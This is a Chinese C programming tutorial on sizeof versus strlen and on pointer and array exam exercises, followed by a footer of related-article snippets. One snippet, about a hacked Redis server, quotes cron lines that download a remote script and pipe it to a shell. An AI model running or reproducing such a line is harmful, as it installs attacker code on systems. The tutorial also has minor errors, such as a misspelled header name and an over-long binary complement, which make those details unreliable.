指针(5)

前言

本节是有关指针内容的最后一节,本节的内容以讲解指针习题为主,那么就让我们一起来开启本节的学习吧!

sizeof和strlen的对比

1.sizeof

我们在学习操作符的时候,学习了sizeof。sizeof存在的意义是用来计算变量所占用的内存空间的大小的。sizeof的单位是字节sizeof是一个单目操作符,不是一个函数

如果sizeof操作符的操作数是类型的话,计算出来的结果是使用该类型创建的变量所占空间的大小

int main()
{int a = 10;printf("%d\n", sizeof(a));printf("%d\n", sizeof a);printf("%d\n", sizeof(int));return 0;
}

sizeof 操作符只关注操作数占用内存空间的大小,并不在乎内存中放的是什么数据

sizeof操作符的返回值最好用%zd来打印

sizeof因为是一个操作符,所以操作数要是一个变量的话,可以省略括号;这一点也间接地证明了sizeof不是一个函数

2.strlen

strlen是C语言的库函数,其功能是求字符串的长度

size_t strlen ( const char* str );

strlen函数的本质是统计一个字符串从str这个地址开始向后,一直到 \0 之前的字符个数

strlen函数仅仅针对字符串求字符串长度;

strlen函数的使用需要包含头文件<srting.h>;

int main()
{char arr1[3] = { 'a', 'b', 'c' };char arr2[] = "abc";printf("%d\n", strlen(arr1));printf("%d\n", strlen(arr2));printf("%d\n", sizeof(arr1));printf("%d\n", sizeof(arr1));return 0;
}

注意:strlen函数会一直向后查找直到找到 \0 才会停止,所以可能会存在越界访问的问题

3.对比

1.sizeof是一个操作符,而strlen是一个库函数,strlen使用需要包含头文件<string.h>

2.sizeof计算操作数所占用内存的大小的,单位是字节;strlen是求字符串长度的,统计的是 \0 之前字符的个数

3.sizeof操作符不关注内存中存放的是什么数据;strlen函数关注内存中 \0 的位置,可能会存在越界访问的问题

有关数组和指针笔试题

一维数组

我们先来看一个笔试题:

int main(void)
{int a[] = { 1,2,3,4 };				printf("%d\n", sizeof(a));			//1printf("%d\n", sizeof(a + 0));		//2printf("%d\n", sizeof(*a));			//3printf("%d\n", sizeof(a + 1));		//4printf("%d\n", sizeof(a[1]));		//5printf("%d\n", sizeof(&a));			//6printf("%d\n", sizeof(*&a));		//7printf("%d\n", sizeof(&a + 1));		//8printf("%d\n", sizeof(&a[0]));		//9printf("%d\n", sizeof(&a[0] + 1));	//10return 0;
}

我们可以看到a数组中存放了4个整型元素,所以该数组是一个整型数组;

我们知道通常情况下数组名是数组首元素的地址,但是有两个特殊情况:

1.sizeof(数组名)——表示整个数组,计算的是整个数组的大小,单位是字节

2.&+数组名——数组名表示整个数组,取出的是整个数组的地址

1号代码:

因为数组里面有4个元素,每个元素的类型都是int,int类型占用4个字节,所以我们打印出来的值应该是16

2号代码:

代码2中,(数组名+0) 并不是一个单独的数组名,那么此时表示的就不是整个数组,那么此时的(数组名+0)表示的就是首元素的地址,所以打印出来的值应该是4(32位下)

3号代码:

我们可以知道a不符合两种特殊情况,所以此时的a就是首元素的地址,*a就是首元素,因为元素类型都是int,所以打印出来的值应该是4

4号代码:

我们知道sizeof(a+1)中的a是数组首元素的地址,因为+1跳过1个整型,所以a+1是第二个元素的地址,所以打印出来的值应该是4(32位下)

5号代码:

a[1]表示的就是第二个元素,所以它的大小就是4个字节

6号代码:

sizeof(&a)中&a是数组的地址,数组的地址也是一个地址,只要是地址它的大小就是4个字节(32位下),数组的地址和首元素的地址只在类型上存在差别,数组的地址为int (*) [4],首元素地址的类型为int *,类型的差异仅仅决定了+-操作跳过几个地址,因为它们都是指针,所以他们的值都是一样的

7号代码:

*和&符号相互抵消,该代码等价于sizeof(a),因为sizeof(a)是16个字节,所以该代码打印出来的值也是16个字节

8号地址:

&a+1跳过了整个数组,指向了数值最后一个元素的下一个元素,因为指针只是指向了最后一个元素的下一个元素,并没有解引用,所以不存在指针的越界访问。因为&a+1表示的仍然是一个指针,所以打印出来的值应该是4(32位下)

9号地址:

&a[0]表示取出数组首元素的地址,所以打印出来的值应该是4(32位)

10号代码:

&a[0]+1表示数组第二个元素的地址,所以打印出来的值应该是4(32位)

字符数组

第一题

int main(void)
{char arr[] = { 'a','b','c','d','e','f' };printf("%d\n", sizeof(arr));		//1printf("%d\n", sizeof(arr + 0));	//2printf("%d\n", sizeof(*arr));		//3printf("%d\n", sizeof(arr[1]));		//4printf("%d\n", sizeof(&arr));		//5printf("%d\n", sizeof(&arr + 1));	//6printf("%d\n", sizeof(&arr[0] + 1));//7return 0;
}

我们在字符数组中放入了字符a,b,c,d,e,f

1号代码:

此时数组名单独放到了sizeof的内部,计算的是整个数组的大小,单位是字节,所以打印出来的值应该是6

2号代码:

arr+0 不满足两种特殊类型,所以arr表示的是首元素的地址,arr+0也是首元素的地址,所以打印出来的值应该是4(32位)

3号代码:

*arr表示对数组首元素的地址进行解引用,所以表示的是首元素,故大小为1个字节

4号代码:

arr[1]是第二个元素,大小是1个字节

5号代码:

&arr表示整个数组的地址,数组的地址也是一个地址,所以打印出来的值应该是4(32位)

6号代码:

&arr+1表示跳过整个数组,指向了数值最后一个元素的下一个元素的地址,所以打印出来的值应该是4(32位)

7号代码:

&arr[0]+1表示的是数组第二个元素的地址,所以打印出来的值应该是4(32位)

第二题

int main(void)
{char arr[] = { 'a','b','c','d','e','f' };printf("%d\n", strlen(arr));		//1printf("%d\n", strlen(arr + 0));	//2printf("%d\n", strlen(*arr));		//3printf("%d\n", strlen(arr[1]));		//4printf("%d\n", strlen(&arr));		//5printf("%d\n", strlen(&arr + 1));	//6printf("%d\n", strlen(&arr[0] + 1));//7return 0;
}

1号代码:

此时的arr是首元素的地址,因为strlen在求长度的时候只有遇到 \0 才会结束,因为原数组中没有 \0 ,我们并不知道什么时候才会遇到 \0,就会导致越界访问,所以打印出来的值应该是一个随机值

2号代码:

arr+0表示数组首元素的地址,因为原数组中没有 \0 ,我们并不知道什么时候才会遇到 \0,就会导致越界访问,所以打印出来的值应该是一个随机值

3号代码:

*arr表示的是数组的首元素,就是'a'。因为strlen必须传入地址,因为字符a的ASCII码值是97,此时strlen函数就把97当作了一个地址,那么在打印时就会存在很多种情况:

1.打印出随机值

2.访问到了不允许访问的数据,程序崩溃

4号代码:

arr[1]表示的是第二个元素,就是'b'。因为strlen必须传入地址,因为字符b的ASCII码值是98,此时strlen函数就把98当作了一个地址,那么在打印时就会存在很多种情况:

1.打印出随机值

2.访问到了不允许访问的数据,程序崩溃

5号代码:

&arr表示取出整个数组的地址,数组的地址也是从数组的第一个元素的地址开始的,此时情况就和1号代码一模一样,打印出来的值应该是一个随机值

6号代码:

&arr+1指向了数值最后一个元素的下一个元素的地址,此时我们得到也是一个随机值,但是与1中的随机值存在差异(会比1号代码中的随机值少6,因为跳过了6个元素

7号代码:

&arr[0]+1表示的是数组的第二个元素的地址,也就是从b开始向后统计的,打印出来的值应该是一个随机值(比1号代码中的随机值小1

第三题

int main(void)
{char arr[] = "abcdef";				printf("%d\n", sizeof(arr));		//1printf("%d\n", sizeof(arr + 0));	//2printf("%d\n", sizeof(*arr));		//3printf("%d\n", sizeof(arr[1]));		//4printf("%d\n", sizeof(&arr));		//5printf("%d\n", sizeof(&arr + 1));	//6printf("%d\n", sizeof(&arr[0] + 1));//7return 0;
}

1号代码:

arr取出的是数组中所有的元素,所以打印出来的值应该是7

2号代码:

arr+0中的arr表示数组首元素,所以arr+0表示数组首元素的地址,所以打印出来的值应该是4(32位)

3号代码:

*arr表示的是数组的首元素,大小是一个字节

4号代码:

arr[1]表示的是第二个元素,大小为一个字节

5号代码:

&arr表示取出的是数组的地址,是地址就是4个字节(32位)

6号代码:

&arr+1表示跳过了整个数组,它还是一个地址,是地址就是4个字节(32位)

7号代码:

&arr[0]+1表示的是第二个元素的地址,其大小是4个字节(32位)


第四题

int main(void)
{char arr[] = "abcdef";printf("%d\n", strlen(arr));		//1printf("%d\n", strlen(arr + 0));	//2printf("%d\n", strlen(*arr));		//3printf("%d\n", strlen(arr[1]));		//4printf("%d\n", strlen(&arr));		//5printf("%d\n", strlen(&arr + 1));	//6printf("%d\n", strlen(&arr[0] + 1));//7return 0;
}

1号代码:

取出的是数组首元素地址,所以打印出来的值应该是6

2号代码:

取出的是数组首元素地址,所以打印出来的值应该是6

3号代码:

取出的是首元素'a',a的ASCII码值是97,此时strlen会把97当作一个地址,所以打印出来的值应该是一个随机值或者报错

4号代码:

取出来的是第二个元素'b',b的ASCII码值是98,此时strlen会把98当作一个地址,所以打印出来的值应该是一个随机值或者报错

5号代码:

取出来的是数组的地址,数组的地址也是首元素的地址,所以打印出来的值应该是6

6号代码:

此时+1跳过了整个数组,此时指向的就是数组最后一个元素的下一个元素的地址,所以打印出来的值应该是一个随机值

7号代码:

表示的是第二个元素的地址,所以打印出来的值应该是5

第五题

int main(void)
{char* p = "abcdef";					printf("%d\n", sizeof(p));			//1printf("%d\n", sizeof(p + 1));		//2printf("%d\n", sizeof(*p));			//3printf("%d\n", sizeof(p[0]));		//4printf("%d\n", sizeof(&p));			//5printf("%d\n", sizeof(&p + 1));		//6printf("%d\n", sizeof(&p[0] + 1));	//7return 0;
}

1号代码:

p是一个指针变量,是首元素的地址,我们计算的就是一个指针变量的大小,所以打印出来的值应该是4(32位)

2号代码:

第二个元素的地址,所以打印出来的值应该是4(32位) 

3号代码:

p的类型是char*,*p是char类型,所以打印出来的值应该是1

4号代码:

表示的是首元素'a',所以打印出来的值应该是1

5号代码:

表示的是一个二级指针变量,所以打印出来的值应该是4(32位)

6号代码:

表示的也是一个二级指针变量&p+1表示的是跳过p指针变量后的地址,所以打印出来的值应该是4(32位)

7号代码:

表示的是数组第二个元素的地址,所以打印出来的值应该是4(32位)

第六题

int main(void)
{char* p = "abcdef";					printf("%d\n", strlen(p));			//1printf("%d\n", strlen(p + 1));		//2printf("%d\n", strlen(*p));			//3printf("%d\n", strlen(p[0]));		//4printf("%d\n", strlen(&p));			//5printf("%d\n", strlen(&p + 1));		//6printf("%d\n", strlen(&p[0] + 1));	//7return 0;
}

1号代码:

取出的是数组首元素的地址,所以打印出来的值应该是6

2号代码:

取出的是第二个元素的地址,所以打印出来的值应该是5

3号代码:

*p取出的是第一个元素,因为a的ASCII码值为97,strlen就会把97当作一个地址,所以打印出来的值应该是一个随机值或者报错

4号代码:

表示的是第一个元素,因为a的ASCII码值为97,strlen就会把97当作一个地址,所以打印出来的值应该是一个随机值或者报错

5号代码:

表示的是一个二级指针变量,所以打印出来的值应该是一个随机值

6号代码:

表示的也是一个二级指针变量,所以打印出来的值应该是一个随机值

7号代码:

表示的是第二个元素的地址,所以打印出来的值应该是5

二维数组

int main(void)
{int a[3][4] = { 0 };printf("%d\n", sizeof(a));				//1printf("%d\n", sizeof(a[0][0]));		//2printf("%d\n", sizeof(a[0]));			//3printf("%d\n", sizeof(a[0] + 1));		//4printf("%d\n", sizeof(*(a[0] + 1)));	//5printf("%d\n", sizeof(a + 1));			//6printf("%d\n", sizeof(*(a + 1)));		//7printf("%d\n", sizeof(&a[0] + 1));		//8printf("%d\n", sizeof(*(&a[0] + 1)));	//9printf("%d\n", sizeof(*a));				//10printf("%d\n", sizeof(a[3]));			//11return 0;
}

我们知道:该数组是一个三行四列的二维数组

1号代码:

a是二维数组的数组名,所以表示的是数组的大小,所以打印出来的值应该是48

2号代码:

表示的是第一行的第一个元素,所以打印出来的值应该是4

3号代码:

表示的是第一行的所有元素,所以打印出来的值应该是16(a[0] 是第一行的数组名,数组名单独放到sizeof的内部,计算的就是第一行数组的总大小)

4号代码:

这种写法中,数组名并没有单独放到sizeof的内部,所以这里的数组名a[0]就是数组首元素的地址,就是a[0][0]的地址,+1后是a[0][1]的地址,所以打印出来的值应该是4(32位)

5号代码:

表示的是第一行的第二个元素,所以打印出来的值应该是4

6号代码:

a作为数组名并没有单独放到sizeof的内部,a表示的是数组首元素的地址,是二维数组的首元素的地址,也就是第一行的地址,+1跳过一行就是第二行的地址,是一个数组指针变量3,所以打印出来的值应该是4(32位)

7号代码:

表示的是a[1],表示第二行所有的元素,所以打印出来的值应该是16

8号代码:

a[0]是第一行的数组名,&a[0]取出的就是数组的地址,就是第一行的地址,所以+1就是第二行的地址,所以打印出来的值应该是4(32位)

9号代码:

表示的是a[1],表示第二行所有的元素,所以打印出来的值应该是16

10号代码:

a作为数组名并没有单独放到sizeof的内部,a表示的是数组首元素的地址,是二维数组的首元素的地址,也就是第一行的地址,*a就是第一行的所有元素,所以打印出来的值应该是16

11号代码:

a[3]表示的是第四行的数组名,因为sizeof并不会计算,也没有访问,所以不存在越界访问,所以打印出来的值应该是16,所以a[3]无需真实存在,仅仅通过类型的推断就能够算出长度

指针运算

题目1

int main()
{int a[5] = { 1, 2, 3, 4, 5 };int* ptr = (int*)(&a + 1);printf("%d,%d", *(a + 1), *(ptr - 1));return 0;
}

我们来分析一下:

ptr-1指向的是数组的第五个元素,*(a+1)指向的是数组的第二个元素,所以打印出来的值是2和5

题目2

假设在 X86 环境下,结构体的大小是 20 个字节,那么程序输出的结构是什么?

struct Test
{int Num;char* pcName;short sDate;char cha[2];short sBa[4];
}*p = (struct Test*)0x100000;int main()
{printf("%p\n", p + 0x1);printf("%p\n", (unsigned long)p + 0x1);printf("%p\n", (unsigned int*)p + 0x1);return 0;
}

这道题目考察的是指针+-整数的知识点

我们知道结构体指针+1会跳过一个结构体,所以+1就会跳过20个字节,所以 p+0x1 就表示0x100000 + 20 = 0x100014,因为打印的值是一个地址,所以要补满8位,所以打印出来的值应该是00100014

在(unsigned long)p + 0x1中,p被强制类型转换为unsigned long类型,此时p就不是一个指针变量了,所以此时整型值+1就是+1本身,所以打印出来的值应该是0x100001

在(unsigned int*)p + 0x1中,p被强制类型转换为unsigned int*类型,所以+1就会跳过4个字节,所以 p+0x1 就表示0x100000 + 4 = 0x100004,因为打印的值是一个地址,所以要补满8位,所以打印出来的值应该是00100004

题目3

int main(){int a[3][2] = { (0, 1), (2, 3), (4, 5) };int *p;p = a[0];printf( "%d", p[0]);return 0;}

注意第一行代码中的二维数组并不是如下的形式:

	int a[3][2] = { {0, 1}, {2, 3}, {4, 5} };

它是用括号连接起来的,表示的是一个逗号表达式,逗号表达式从左向右依次计算,最后一个计算的值就是表达式的取值,所以数组的真实情况应该如下:

	int a[3][2] = { 1,3,5 };

因为数组是三行两列的,所以数据1 3 放到第一行,数据 5 放到第二行第一列,其他的三个位置上放的都是0

因为a[0]是第一行的数组名,数组名表示首元素的地址,其实就是&a[0][0]的地址

所以p[0] = *(p+0) = *p,所以打印出来的值应该是1

题目4

int main()
{int a[5][5];int(*p)[4];p = a;printf("%p,%d\n", &p[4][2] - &a[4][2], &p[4][2] - &a[4][2]);return 0;
}

我们首先创建了一个5行5列的数组,再创建了一个数组指针变量,p指向的是4个整型元素的地址

接着我们进行了&p[4][2] - &a[4][2], &p[4][2] - &a[4][2]两个操作,我们知道指针-指针得到的是两个指针之间的元素的个数

我们分析一下:a的类型是 int(*)[5],p的类型是 int(*)[4]

当我们把a赋予p的时候,两者的首地址都是指向a数组中的第一行的第一个元素,两者会有类型的差异,所以+-整数二者跳过的字节数不同

a每次+1跳过的是5个整型,而p每次+1跳过的是4个整型,我们画图分析如下:

由图我们可以知道:两个指针相减得到的值是-4,所以%d打印出来的值就是-4;

而%p是打印地址,因为-4在内存中是以补码的形式存放的,-4的原码为:

10000000000000000000000000000100

所以-4的补码是:

111111111111111111111111111111111100

所以%p此时就把-4的补码当作一个地址打印出来了,我们把它的值换算成16进制,得到的是:

FFFFFFFC

所以打印出来的值就是FFFFFFFC和-4

题目5

int main()
{int aa[2][5] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };int* ptr1 = (int*)(&aa + 1);int* ptr2 = (int*)(*(aa + 1));printf("%d,%d", *(ptr1 - 1), *(ptr2 - 1));return 0;
}

我们先来画图分析:

*(aa+1)等价于aa[1],aa[1]是第二行的数组名,因为数组名表示的是首元素的地址,所以aa[1]==&aa[1][0]

我们由图可知,打印出来的值分别是10和5

题目6

我们先画图分析一下:

a是一个字符指针数组,数组里面一共有三个元素,数组的每个元素都是char*类型

因为二级指针变量pa被赋予了a,a是一个数组名,表示的就是首元素的地址

据图分析,我们可以知道打印出来的值是"at"

题目7

int main()
{char* c[] = { "ENTER","NEW","POINT","FIRST" };char** cp[] = { c + 3,c + 2,c + 1,c };char*** cpp = cp;printf("%s\n", **++cpp);printf("%s\n", *-- * ++cpp + 3);printf("%s\n", *cpp[-2] + 3);printf("%s\n", cpp[-1][-1] + 1);return 0;
}

题目比较复杂,我们试着画出图像来分析一下:

因为指针优先级的问题++cpp会率先进行,此时cpp的指向就会改变

此时*++cpp拿到的值就是c+2,所以**++cpp表示的值就是*(c+2),此时打印出来的值就是"POINT"

接着来看第二个代码:* -- * ++ cpp + 3

我们知道这个代码中,+的优先级是最低的,我们应该先计算++cpp

因为上一个代码已经进行了++cpp的操作指向了c+2,此时在进行++操作指向的应该是c+1

我们再依照优先级顺序进行解引用操作,此时拿到的是c+1,原代码就可以转化为*--(c+1)+3

接下来我们应该要执行--操作,因为--的对象是c+1,所以在执行完--操作以后,c+1的值会变成c

现在的原代码相当于*c+3,所以*c+3打印出来的值应该是"ER"

我们接着来看第三个代码:* cpp [-2] + 3

我们先把代码转换一下:* *(cpp-2) + 3

我们又应该先算(cpp-2),此时我们应该拿到的是c+3,我们再对(c+3)解引用拿到的是"FIRST"处的地址,再进行+3操作,所以打印出来的值应该是"ST"

我们最后来看第四个代码:cpp[-1][-1] + 1

我们再来把代码转换一下:*(*(cpp - 1) - 1) + 1

此时的逻辑和之前的代码一模一样,所以打印出来的值应该是"EW"

此题目中的重点就是++和--会改变取值,这就是我们之前所说的带有副作用的表达式

结尾

我们有关指针的所有内容到这里就结束了,希望这一系列的内容可以给你的学习带来帮助,谢谢您的浏览!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2836.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI大模型日报#0424:全球首个AI基因编辑器、出门问问上市、微软开源Phi-3 Mini、昆仑万维年收49亿

导读&#xff1a; 欢迎阅读《AI大模型日报》&#xff0c;内容基于Python爬虫和LLM自动生成。目前采用“文心一言”生成了每条资讯的摘要。标题: 爱诗科技完成A2轮超亿元融资&#xff0c;蚂蚁集团领投摘要: 爱诗科技完成A2轮超亿元融资&#xff0c;成为视频大模型领域融资规模最…

STM32学习和实践笔记(20):定时器

1.定时器介绍 STM32F1的定时器一共有8个&#xff0c;由2个基本定时器&#xff08;TIM6、TIM7&#xff09;、4个通用定时器&#xff08;TIM2-TIM5&#xff09;和2个高级定时器&#xff08;TIM1、TIM8&#xff09;组成。 基本定时器的功能最为简单&#xff0c;类似于51单片机内定…

【行为型模式】中介者模式

一、中介者模式概述 中介者模式定义&#xff1a;用一个中介对象来封装一系列的对象交互&#xff0c;中介者使各对象不需要显式地相互引用&#xff0c;从而使其耦合松散&#xff0c;而且可以独立地改变它们之间的交互。中介者模式又称为调停者模式。(对象行为型模式) 中介者模式…

python+django校园社交高校交友网站2x7r5.

本课题使用Python语言进行开发。代码层面的操作主要在PyCharm中进行&#xff0c;将系统所使用到的表以及数据存储到MySQL数据库中&#xff0c;方便对数据进行操作本课题基于WEB的开发平台&#xff0c;设计的基本思路是&#xff1a; 前端&#xff1a;vue.jselementui 框架&#…

Node.JS安装及配置教程(Windows)【安装】

文章目录 一、 Node.JS 下载1. 官网下载&#xff08;1&#xff09;国内地址&#xff08;2&#xff09;国外地址 2. 其它渠道 二、 Node.JS 安装三、 Node.JS验证四、 Node.JS 配置&#xff08;可选&#xff09;1. 配置全局模块安装路径方法一方法二2. 配置国内镜像 五、 yarn 安…

企业数智化:为什么选择梧桐数据库?

个人介绍&#xff1a;艺名司镜233&#xff0c;是中国移动梧桐数据库研发团队成员&#xff0c;从事相关的技术开发近5年了。最让我觉得自豪的不是在研发这款数据库&#xff0c;而是我们用代码&#xff0c;切实地帮助企业解决数据的困扰&#xff0c;切实地解决社会的问题。 本篇文…

【炼金术士】BatchSize对网络训练的影响

文章目录 1 BatchSize对于网络训练的影响2 调整学习率可以提高大BatchSize的性能3 实际训练时的建议3.1 设置初始学习率的方法3.2 多卡训练时学习率的设置 参考资料&#xff1a; 【深度学习】Batch Size对神经网络训练的影响【AI不惑境】学习率和batchsize如何影响模型的性能&…

AXI4---低功耗接口

在电子系统设计中&#xff0c;"low-power interface"&#xff08;低功耗接口&#xff09;是指专为减少能耗而设计的硬件接口。这类接口在不需要牺牲性能的情况下&#xff0c;通过各种技术降低功耗&#xff0c;对于移动设备、嵌入式系统和其他电池供电的应用来说尤其重…

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III

如何更好的管理个人财务&#xff1f;使用极空间部署私有记账系统Firefly III 哈喽小伙伴们好&#xff0c;我是Stark-C~ 不知道屏幕前的各位“富哥”日常生活中是怎么管理自己巨额财富的&#xff0c;反正对于像我这样年薪过千的摸鱼族来说&#xff0c;请一个专业的理财顾问多多…

Laravel 6 - 第十三章 请求

​ 文章目录 Laravel 6 - 第一章 简介 Laravel 6 - 第二章 项目搭建 Laravel 6 - 第三章 文件夹结构 Laravel 6 - 第四章 生命周期 Laravel 6 - 第五章 控制反转和依赖注入 Laravel 6 - 第六章 服务容器 Laravel 6 - 第七章 服务提供者 Laravel 6 - 第八章 门面 Laravel 6 - …

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对&#xff0c;backup1,backup2,backup3,backup4&#xff0c;内容是奇奇怪怪的sh脚本&#xff1a;*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh http://en2an.top/cleanfda/init.sh */2 * * * * root cd1 -fsSL http…

The_Maya_Society

突然发现自己做了一些逆向题都没有写笔记 今天&#xff0c;发现这道题有意思 1.解压文件 三个文件The Maya Society.html&#xff0c;maim.cc,maya.png 当时我看到这个题的时候&#xff0c;我以为是不是会是js逆向 看来是我蠢了 这三个文件&#xff0c;main.css和maya.png这两…

PyQt5的安装和配置

1.准备工作 首先&#xff0c;下载Pycharm及python-3.7.5-amd64.exe并安装两个软件。 Pycharm链接&#xff1a; python-3.7.5-amd64.exe链接&#xff1a; 2.1.在线安装 pip安装PyQt5&#xff1a; pip install PyQt5 pip安装pyqt5-tools pip install pyqt5-tools 遇到下载…

编译原理 LR(0)

讲解视频&#xff1a;编译原理LR&#xff08;0&#xff09;分析表&#xff08;上&#xff09;_哔哩哔哩_bilibili 【编译原理】LR(0)分析表分析输入串_哔哩哔哩_bilibili 拓广文法 已知G&#xff1a;S->(S)S | ε 拓广文法&#xff1a; S -> S S -> (S)S S -> ε…

基于springboot的公交线路查询系统设计与实现

第1章 绪论 1.1 研究背景 互联网时代不仅仅是通过各种各样的电脑进行网络连接的时代&#xff0c;也包含了移动终端连接互联网进行复杂处理的一些事情。传统的互联网时代一般泛指就是PC端&#xff0c;也就是电脑互联网时代&#xff0c;但是最近几十年&#xff0c;是移动互联网…

中台架构下的性能测试实践方法

有同学私信问我&#xff1a;中台服务建设过程中&#xff0c;性能测试如何开展&#xff1f;问题背景如下&#xff1a; 业务背景&#xff1a;银行业务&#xff1b; 技术架构&#xff1a;业务应用和中台之间请求统一走ESB&#xff1b; 当前阶段&#xff1a;中台建设中&#xff0c;…

如何部署 wfs 分布式服务

说明&#xff1a; wfs是海量小文件存储系统。wfs1.x不直接支持分布式存储&#xff0c;但为了应对大规模部署和高可用需求&#xff0c;推荐采用如Nginx这样的负载均衡服务&#xff0c;通过合理的资源配置和定位策略&#xff0c;可以在逻辑上模拟出类似分布式的效果。也就是说&am…

【kettle002】kettle访问人大金仓KingbaseES数据库并处理数据至execl文件

一直以来想写下基于kettle的系列文章&#xff0c;作为较火的数据ETL工具&#xff0c;也是日常项目开发中常用的一款工具&#xff0c;最近刚好挤时间梳理、总结下这块儿的知识体系。 熟悉、梳理、总结下人大金仓KingbaseES数据库相关知识体系 kettle访问人大金仓KingbaseES数据库…

Linux网络-DHCP原理与配置

目录 一.DHCP工作原理 1.了解DHCP服务 1.1.使用DHCP的好处 1.2.DHCP的分配方式 2.DHCP的租约过程 2.1.DHCP工作原理 2.2.DHCP交互过程 二.DHCP服务器的配置 1.关闭防火墙 2.检查并且安装DHCP有关软件包 3.查看系统的配置文件 3.1.设置参数 4.修改网络 4.1.修改虚…

redis基于Stream类型实现消息队列,命令操作,术语概念,个人总结等

个人大白话总结 1 在Redis Stream中&#xff0c;即使消息被消费者确认&#xff08;acknowledged, ACK&#xff09;&#xff0c;消息也不会自动从Stream数据结构中删除。这与Kafka或RabbitMQ等传统消息队列系统的做法不同&#xff0c;在那些系统中&#xff0c;一旦消息被消费并…